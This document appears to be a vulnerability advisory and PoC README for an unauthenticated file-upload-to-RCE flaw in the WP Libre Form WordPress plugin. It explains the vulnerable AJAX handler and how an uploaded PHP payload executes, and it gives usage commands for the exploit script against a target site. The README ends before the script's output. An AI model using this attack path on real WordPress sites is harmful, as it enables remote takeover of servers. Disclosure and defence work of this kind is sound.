Critical Severity
CVE-2026-118423
Published: Nov 13, 2026
CVE-2026-118423 - WP Libre Form <= 1.5.0.1 unauthenticated upload to RCE (PoC + exploit by thiscitze)
# CVE-2026-118423 — WP Libre Form unauthenticated upload → RCE
**by [thiscitze](https://github.com/thiscitze)**
| | |
|---|---|
| Product | WP Libre Form (`wp-libre-form`) |
| Affected | `<= 1.5.0.1` |
| Type | Unauthenticated arbitrary file upload (CWE-434) |
| Impact | Remote code execution as the web user |
| CVSS | 10.0 (AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H) |
| NVD | https://nvd.nist.gov/vuln/detail/CVE-2026-118423 |
## Summary
WP Libre Form registers the AJAX action `wplf_submit` for both logged-in and
anonymous users (`wp_ajax_nopriv_wplf_submit`). The handler never validates
the uploaded file type. When the form is not configured to use the media
library, the file is moved straight into `wp-content/uploads/`:
```php
// inc/wplf-ajax.php
$name = 'lf_' . date( 'ymdhs' ) . '-' . $counter . '-' . sanitize_file_name( $file['name'] );
move_uploaded_file( $file['tmp_name'], $uploads_path['path'] . '/' . $name );
```
`sanitize_file_name()` keeps the `.php` extension, so a PHP payload lands in a
web-accessible directory and is executed by the web server.
The only precondition is a published form: the handler requires a valid
`_form_id` (a `wplf-form` post) and the form's required fields, all of which
are visible in the rendered page.
## Requirements
- A page that renders a `[libre-form]` shortcode (the PoC auto-discovers it
through the REST API or the site's own links)
- `wp-content/uploads/` served by a web server that executes PHP (the default)
- Python 3.6+, no third-party packages
## Usage
```bash
# automatic discovery
python3 poc.py --url https://target.example
# form page known / REST API disabled
python3 poc.py --url https://target.example --form-url https://target.example/contact/
# custom admin-ajax location
python3 poc.py --url https://target.example --ajax-url https://target.example/wp-admin/admin-ajax.php
# only send the file, skip the URL brute force
python3 poc.py --url https://target.example --no-verify
```
Typical successful run:
```